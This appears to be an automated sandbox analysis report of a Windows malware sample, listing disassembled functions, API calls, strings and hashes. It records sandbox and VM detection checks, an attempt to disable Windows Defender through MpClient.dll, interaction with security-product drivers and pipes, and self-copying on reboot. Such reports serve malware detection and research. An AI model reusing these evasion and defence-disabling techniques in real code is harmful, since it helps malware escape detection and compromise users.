                                                                                                                                                                                                            control_flow_graph 129 403900-403948 RegOpenKeyExA 130 40394a-40396d RegQueryValueExA 129->130 131 4039ad-4039e5 GetUserNameA CharUpperA strstr 129->131 134 40397b-40398c RegCloseKey 130->134 135 40396f-403979 RegCloseKey 130->135 132 403acb 131->132 133 4039eb-4039fe strstr 131->133 137 403acc-403ad2 132->137 133->132 136 403a04-403a17 strstr 133->136 134->131 138 40398e-403995 134->138 135->131 136->132 140 403a1d-403a5b GetSystemWindowsDirectoryA GetVolumeInformationA 136->140 138->131 139 403997-40399e 138->139 139->131 141 4039a0-4039a7 139->141 140->132 142 403a5d-403a62 140->142 141->131 141->137 142->132 143 403a64-403a69 142->143 143->132 144 403a6b-403a70 143->144 144->132 145 403a72-403a77 144->145 145->132 146 403a79-403aa3 GetModuleFileNameA StrStrIA 145->146 146->132 147 403aa5-403ab5 StrStrIA 146->147 147->132 148 403ab7-403ac7 StrStrIA 147->148 148->132 149 403ac9 148->149 149->132
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
                                                                                                                                                                                                            • RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00403973
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0040397F
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 004039C6
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039DE
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039F7
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403A10
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
                                                                                                                                                                                                            • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
                                                                                                                                                                                                            • StrStrIA.KERNELBASE(?,\sand-box\), ref: 00403A9F
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AB1
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403AC3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$CloseName$CharDirectoryFileInformationModuleOpenQuerySystemUpperUserValueVolumeWindows
                                                                                                                                                                                                            • String ID: E$HARDWARE\DESCRIPTION\System$M$MALNETVM$Q$SANDBOX$SystemBiosVersion$U$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\
                                                                                                                                                                                                            • API String ID: 1431998568-3499098167
                                                                                                                                                                                                            • Opcode ID: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
                                                                                                                                                                                                            • Instruction ID: c92bd0b18e501642bc8da1a15e04f066bbee5c1b1fab61bbe3854025ca4dfe5f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8741D8B1A50218A7DB20DB90CD4AFEF7B7C9B94705F1440AAE744B51C0D7B99B84CFA8
                                                                                                                                                                                                            Function 004020B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 150 4020b0-4021fe CreateFileA 151 402230-402235 150->151 152 402200-40222a DeviceIoControl CloseHandle 150->152 152->151
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004021F3
                                                                                                                                                                                                            • DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402223
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040222A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                            • String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
                                                                                                                                                                                                            • API String ID: 33631002-3172865025
                                                                                                                                                                                                            • Opcode ID: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
                                                                                                                                                                                                            • Instruction ID: e7d083a3d342eb0d1741576d2c48f75b21a67eac2e30cb69abab2c03069a185e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 384184B0D01358DEEB20CF959988BDEFEB5BB04308F5081AED5186B281C7B90A89CF55
                                                                                                                                                                                                            Function 00401A30 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 103memoryfilelibraryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 153 401a30-401a45 154 401b53-401b59 153->154 155 401a4b-401a58 call 4010a0 153->155 155->154 158 401a5e-401a69 RtlImageNtHeader 155->158 159 401b31-401b45 GetProcessHeap HeapValidate 158->159 160 401a6f-401a90 GetTickCount GetModuleHandleA 158->160 159->154 161 401b47-401b4d GetProcessHeap RtlFreeHeap 159->161 162 401a92-401aa0 GetProcAddress 160->162 163 401aa9-401ac4 160->163 161->154 162->163 164 401aa2 162->164 163->159 165 401ac6-401ae7 CreateFileA 163->165 164->163 165->159 166 401ae9-401b01 WriteFile 165->166 167 401b03-401b04 SetEndOfFile 166->167 168 401b0a-401b13 166->168 167->168 168->159 169 401b15-401b22 GetHandleInformation 168->169 169->159 170 401b24-401b28 169->170 170->159 171 401b2a-401b2b CloseHandle 170->171 171->159
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 004010A0: CreateFileA.KERNELBASE('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
                                                                                                                                                                                                              • Part of subcall function 004010A0: RtlAllocateHeap.NTDLL(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
                                                                                                                                                                                                              • Part of subcall function 004010A0: memset.MSVCRT ref: 00401114
                                                                                                                                                                                                              • Part of subcall function 004010A0: ReadFile.KERNELBASE(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
                                                                                                                                                                                                              • Part of subcall function 004010A0: HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
                                                                                                                                                                                                              • Part of subcall function 004010A0: HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
                                                                                                                                                                                                              • Part of subcall function 004010A0: GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
                                                                                                                                                                                                              • Part of subcall function 004010A0: CloseHandle.KERNELBASE(00000000,?,00401A54,00000000,00000000), ref: 00401184
                                                                                                                                                                                                              • Part of subcall function 004010A0: IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00401A5F
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00401A77
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401A88
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401A98
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 00401ADC
                                                                                                                                                                                                            • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00401AF9
                                                                                                                                                                                                            • SetEndOfFile.KERNELBASE(00000000), ref: 00401B04
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401B1A
                                                                                                                                                                                                            • CloseHandle.KERNELBASE(00000000), ref: 00401B2B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B3A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00401B3D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B4A
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000), ref: 00401B4D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$HandleProcess$CloseCreateFreeInformationValidateWrite$AddressAllocateCountHeaderImageModuleProcReadSizeTickmemset
                                                                                                                                                                                                            • String ID: '+@$RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 444222748-2605303930
                                                                                                                                                                                                            • Opcode ID: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
                                                                                                                                                                                                            • Instruction ID: 5333274c7b5ae32bd68dbaed39568bfcb3f6f97b50696231050ce748e7cb221e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 083181B1601304ABE710AB75DD49F5B3AACAB84755F458136FF05F72E0EB78D9008AA8
                                                                                                                                                                                                            Function 004010A0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 179 4010a0-4010af 180 4010b5-4010d4 CreateFileA 179->180 181 40118a-40118f 179->181 180->181 184 4010da-4010f2 GetFileSizeEx 180->184 182 401191-40119e IsBadWritePtr 181->182 183 4011ab 181->183 185 4011a0-4011a8 182->185 186 4011ad-4011b3 182->186 183->186 187 401163-40116c 184->187 188 4010f4-40110e GetProcessHeap RtlAllocateHeap 184->188 187->181 191 40116e-40117b GetHandleInformation 187->191 189 401160 188->189 190 401110-40111e memset 188->190 189->187 190->189 192 401120-40113b ReadFile 190->192 191->181 193 40117d-401181 191->193 192->189 194 40113d-401150 GetProcessHeap HeapValidate 192->194 193->181 195 401183-401184 CloseHandle 193->195 196 401152-401158 GetProcessHeap HeapFree 194->196 197 40115e 194->197 195->181 196->197 197->189
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401114
                                                                                                                                                                                                            • ReadFile.KERNELBASE(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
                                                                                                                                                                                                            • CloseHandle.KERNELBASE(00000000,?,00401A54,00000000,00000000), ref: 00401184
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$Handle$AllocateCloseCreateFreeInformationReadSizeValidateWritememset
                                                                                                                                                                                                            • String ID: '+@
                                                                                                                                                                                                            • API String ID: 995291462-3270456718
                                                                                                                                                                                                            • Opcode ID: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
                                                                                                                                                                                                            • Instruction ID: 9704cbedb43cf1f0123ea2a6f6cc4f04c30b9336f8140f0f9319c9250b15b478
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EF3176B2A01214ABD7109BA59D48F6B7B6CEB88B51F144236FF04F7290D7349D0186A8
                                                                                                                                                                                                            Function 00401FC0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 210 401fc0-40201c memset SHGetFolderPathA 211 402087-402089 210->211 212 40201e-40203f PathAppendA SetCurrentDirectoryA 210->212 213 402092-4020a2 211->213 214 40208b-40208c FreeLibrary 211->214 212->211 215 402041-402053 LoadLibraryA 212->215 214->213 215->211 216 402055-402063 GetProcAddress 215->216 216->211 217 402065-402072 216->217 217->211
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401FFE
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402014
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040202A
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNELBASE(?), ref: 00402037
                                                                                                                                                                                                            • LoadLibraryA.KERNELBASE(MpClient.dll), ref: 00402046
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040205B
                                                                                                                                                                                                            • FreeLibrary.KERNELBASE(00000000), ref: 0040208C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
                                                                                                                                                                                                            • String ID: MpClient.dll$V,@$WDEnable$Windows Defender
                                                                                                                                                                                                            • API String ID: 1010965793-4204822615
                                                                                                                                                                                                            • Opcode ID: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
                                                                                                                                                                                                            • Instruction ID: d5d199d1064221ab56ad58356cdb5c20067bd4798bc980eb12739ab0272296c4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E711A8B1900355ABC7219F649D49FABBB7CFB48751F10067AFB55B21D0D6784E008AA8
                                                                                                                                                                                                            Function 00402560 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 219 402560-40258c CoInitializeEx 220 40258e-402591 219->220 221 40259f-4025c7 GetModuleFileNameW SysAllocString 219->221 220->221 222 402593-402599 220->222 223 402749-40274f 221->223 224 4025cd-4025d8 SysAllocString 221->224 222->221 225 4027a4-4027a9 222->225 226 402751-402756 223->226 227 402759-40275e 223->227 228 402733-402741 SysFreeString 224->228 229 4025de-4025ff CoCreateInstance 224->229 226->227 230 402760-402765 227->230 231 402768-40276d 227->231 234 402743-402744 SysFreeString 228->234 235 402746 228->235 232 402605-40260a 229->232 233 402707-40270a 229->233 230->231 237 402777-40277c 231->237 238 40276f-402774 231->238 232->233 236 402610-402621 232->236 233->228 234->235 235->223 236->228 244 402627-402638 236->244 239 402786-40278b 237->239 240 40277e-402783 237->240 238->237 242 402795-402797 239->242 243 40278d-402792 239->243 240->239 245 402799-40279c 242->245 246 40279e CoUninitialize 242->246 243->242 244->228 248 40263e-402648 244->248 245->225 245->246 246->225 249 40264d-40264f 248->249 249->228 250 402655-40265c 249->250 251 402731 250->251 252 402662-402673 250->252 251->228 252->251 254 402679-402691 252->254 256 402693-4026b3 CoCreateInstance 254->256 257 40270c-40271d 254->257 258 4026b5-4026ba 256->258 259 4026bc 256->259 257->251 263 40271f-402723 257->263 258->259 260 4026be-4026c3 258->260 259->260 260->251 262 4026c5-4026d0 260->262 262->251 266 4026d2-4026e3 262->266 263->251 264 402725-40272e 263->264 264->251 266->251 268 4026e5-4026f4 266->268 268->251 270 4026f6-402705 268->270 270->251
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.COMBASE(00000000,00000002), ref: 0040257F
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004025AD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(?), ref: 004025C0
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(Windows Explorer), ref: 004025D2
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E10,00000000,00004401,00404E20,?), ref: 004025FB
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E30,00000000,00004401,00404E40,?), ref: 004026AF
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00402C95), ref: 0040273D
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402744
                                                                                                                                                                                                            • CoUninitialize.COMBASE ref: 0040279E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
                                                                                                                                                                                                            • String ID: Windows Explorer
                                                                                                                                                                                                            • API String ID: 1140695583-228612681
                                                                                                                                                                                                            • Opcode ID: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
                                                                                                                                                                                                            • Instruction ID: b0f249d7cb80b728101da8bc3454e37707d64e119a9c5dc6a768cd6d24ad7165
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ED712D74A00606AFCB10DB99CD84DAFB7B9AF88704B2441A6E504FB3D4D7B5ED42CB94
                                                                                                                                                                                                            Function 00402240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 300 402240-4022e1 CreateFileA 301 4022e3-402323 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 300->301 302 402324-402329 300->302 301->302
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004022D6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004022F6
                                                                                                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 004022FC
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040231A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040231D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$TimeWrite$CloseCreateHandleSystem
                                                                                                                                                                                                            • String ID: \\.\pipe\acsipc_server
                                                                                                                                                                                                            • API String ID: 3225117150-898603304
                                                                                                                                                                                                            • Opcode ID: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
                                                                                                                                                                                                            • Instruction ID: c460779fd0431372b53d2531d074c5320f53f755a2dac54515a3a2487e8d4eb8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DA31F4B1C0121CAFDB10DFD5D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95
                                                                                                                                                                                                            Function 00402950 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 223memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 78 402950-4029ab VirtualQuery GetModuleFileNameA 79 4029b0-4029bd 78->79 79->79 80 4029bf-4029cc PathFileExistsA 79->80 81 4029d2-4029e6 GetSystemWindowsDirectoryA 80->81 82 402ad9-402b10 _snprintf CopyFileA 80->82 83 4029e7-4029ed 81->83 84 402c06-402c0c 82->84 85 402b16-402b37 call 402810 call 401a30 call 4010a0 82->85 83->83 86 4029ef-402a25 GetModuleHandleA 83->86 103 402b39-402b42 RtlImageNtHeader 85->103 104 402b7d-402bad call 401b60 MoveFileExA GetModuleHandleA 85->104 88 402a47-402a4b 86->88 89 402a27-402a37 GetProcAddress 86->89 92 402a76-402a8e GetTickCount call 4012a0 call 401330 88->92 93 402a4d-402a51 88->93 89->88 91 402a39-402a44 GetCurrentProcess 89->91 91->88 106 402a90-402a95 92->106 95 402a52-402a58 93->95 95->95 98 402a5a-402a74 95->98 98->82 108 402b44-402b56 call 401000 103->108 109 402b5d-402b70 GetProcessHeap HeapValidate 103->109 116 402bcf-402bd3 104->116 117 402baf-402bbf GetProcAddress 104->117 106->106 111 402a97-402a9e 106->111 114 402b5b 108->114 109->104 112 402b72-402b77 GetProcessHeap RtlFreeHeap 109->112 115 402aa0-402aa6 111->115 112->104 114->109 115->115 118 402aa8-402abd 115->118 120 402bd5-402bda call 4013c0 116->120 121 402bdf-402bed GlobalFindAtomA 116->121 117->116 119 402bc1-402bcc GetCurrentProcess 117->119 122 402ac0-402ac6 118->122 119->116 120->121 124 402bfb-402c00 GlobalAddAtomA 121->124 125 402bef-402bf5 call 4011c0 ExitProcess 121->125 122->122 126 402ac8-402ad6 122->126 124->84 126->82
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401C30,?,0000001C,00000000,00000000,76D6DB30), ref: 0040298B
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004029A3
                                                                                                                                                                                                            • PathFileExistsA.KERNELBASE(?), ref: 004029C4
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 004029DC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402A1D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402A2D
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402A3E
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402A76
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetTickCount.KERNEL32 ref: 004012AB
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
                                                                                                                                                                                                              • Part of subcall function 004012A0: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC
                                                                                                                                                                                                              • Part of subcall function 00401330: GetTickCount.KERNEL32 ref: 0040135A
                                                                                                                                                                                                              • Part of subcall function 00401330: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
                                                                                                                                                                                                              • Part of subcall function 00401330: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00402AF0
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000001), ref: 00402B08
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00402B3A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B65
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402B68
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B74
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000), ref: 00402B77
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402B96
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402BA5
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402BB5
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 00402BC6
